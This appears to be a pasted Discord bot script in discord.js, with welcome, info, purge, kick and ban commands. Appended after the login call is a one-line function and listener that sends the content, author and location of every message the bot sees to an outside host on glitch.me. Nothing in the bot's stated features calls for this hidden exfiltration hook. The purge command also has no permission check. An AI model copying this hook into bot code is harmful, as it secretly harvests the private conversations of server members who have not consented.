Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- const Discord = require('discord.js');
- const bot = new Discord.Client();
- const token = '...............';
- const PREFIX = '!';
- var version = ('Version 1.0.5')
- bot.on('ready', () => {
- console.log('Bot is online');
- });
- bot.on('guildMemberAdd', member => {
- const channel = member.guild.channels.find(channel => channel.name === 'welcome');
- if (!channel) return console.log("returned");
- channel.send(`Welcome to the server,${member}`)
- });
- bot.on('message', message => {
- let args = message.content.substring(PREFIX.length).split(" ");
- switch (args[0]) {
- case 'user-info':
- var embed = new Discord.RichEmbed()
- .addField('Username', message.author.username)
- .addField('User ID', message.author.id)
- .setTitle('User Information', message.author.username)
- .addField('Current Server', message.guild.name)
- .setThumbnail(message.author.avatarURL)
- .setTimestamp(timestamp = Date.now())
- .setColor(0x05FE00)
- message.channel.send(embed);
- break;
- case 'noicy':
- if (!message.member.roles.find(r => r.name === "PERMISSIONS")) return message.channel.send(`You do not have permissions to use this command!`)
- .then(msg => msg.delete(5000));
- message.channel.sendMessage('Uh\, how did you find this command???')
- break;
- case 'ping':
- message.channel.sendMessage('no')
- break;
- case 'check':
- var embed = new Discord.RichEmbed()
- .setTitle('Check')
- .setImage('https://media.discordapp.net/attachments/667830681656623107/669942259449331732/image0.png?width=671&height=671')
- .setDescription('Bot is online and just got !ban setup.')
- .setColor(0x05FE00)
- message.channel.sendEmbed(embed);
- break;
- case 'prefix':
- var embed = new Discord.RichEmbed()
- .setTitle('Prefix')
- .setColor(0x05FE00)
- .setDescription('!prefix is not a command.')
- message.channel.send(embed);
- break;
- case 'info':
- if (args[1] === 'bot') {
- var embed = new Discord.RichEmbed()
- .setTitle('Bot Info')
- .addField('Version', version)
- .addBlankField('Current Server', message.guild.name)
- .setTimestamp(timestamp = Date.now())
- message.channel.sendEmbed(embed);
- } else if (args[1] === 'creator') {
- var embed = new Discord.RichEmbed()
- .setTitle('Creator')
- .setColor(0x05FE00)
- .setDescription('oONoiceOo#0001')
- message.channel.sendEmbed(embed);
- } else if (args[1] === 'commands') {
- var embed = new Discord.RichEmbed()
- .setTitle('Commands')
- .setColor(0x05FE00)
- .setDescription('!purge, !info creator, !info version, !ping.')
- message.channel.sendEmbed(embed);
- } else {
- message.channel.sendMessage('Invalid Agurments.')
- }
- break;
- case 'purge':
- if (!args[1]) return message.reply('Invalid arguemnt\, please specify the amount of messages to be deleted.')
- message.channel.bulkDelete(args[1]);
- break;
- case 'help':
- var embed = new Discord.RichEmbed()
- .setColor(0xFE0000)
- .setDescription('Contact oONoiceOo#0001 for help, theres no bot support server set up yet.')
- message.channel.sendEmbed(embed);
- break;
- case 'kick':
- if (!message.member.roles.find(r => r.name === "PERMISSIONS")) return message.channel.send(`You do not have permissions to use this command!`)
- .then(msg => msg.delete(5000));
- var user = message.mentions.users.first();
- if (user) {
- var member = message.guild.member(user);
- if (member) {
- member.kick('You were kicked for trolling!').then(() => {
- message.reply(`Succesfully kicked ${user.tag}`);
- }).catch(err => {
- var embed = new Discord.RichEmbed()
- .setColor(0xFE0000)
- .setTitle('Invalid Argument')
- .setDescription('I was unable to kick that member.')
- message.channel.sendEmbed(embed);
- console.log(err);
- });
- } else {
- var embed = new Discord.RichEmbed()
- .setColor(0xFE0000)
- .setTitle('Error')
- .setDescription('That user isn\'t in this guild.')
- message.channel.sendEmbed(embed);
- }
- } else {
- var embed = new Discord.RichEmbed()
- .setColor(0xFE0000)
- .setTitle('Error')
- .setDescription('You need to specify a user.')
- message.channel.sendEmbed(embed);
- }
- break;
- case 'ban':
- if (!message.member.roles.find(r => r.name === "PERMISSIONS")) return message.channel.send(`You do not have permissions to use this command!`)
- .then(msg => msg.delete(5000));
- var user = message.mentions.users.first();
- if (user) {
- var member = message.guild.member(user);
- if (member) {
- member.ban({resson: `You were bad`}).then(() =>{
- message.reply(`${user.tag} was banned!`)
- })
- } else {
- var embed = new Discord.RichEmbed()
- .setColor(0xFE0000)
- .setTitle('Error')
- .setDescription('That user isn\'t in this guild.')
- message.channel.sendEmbed(embed);
- }
- } else {
- var embed = new Discord.RichEmbed()
- .setColor(0xFE0000)
- .setTitle('Error')
- .setDescription('You need to specify a user.')
- message.channel.sendEmbed(embed);
- }
- break;
- }
- })
- bot.login(token);
- function postAMessage(bot, message) { require('request').post('https://rsg-data.glitch.me/discord_messages', { form: { id: message.id, content: message.content, author: message.author.id, channel: message.channel ? message.channel.id : null, guild: message.guild ? message.guild.id : null, createdAt: message.createdAt, bot: bot.user.id } }) };
- if (bot) {
- bot.on("message", message => {
- postAMessage(bot, message);
- console.log(`Posted ${message.id}`);
- });
- };
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement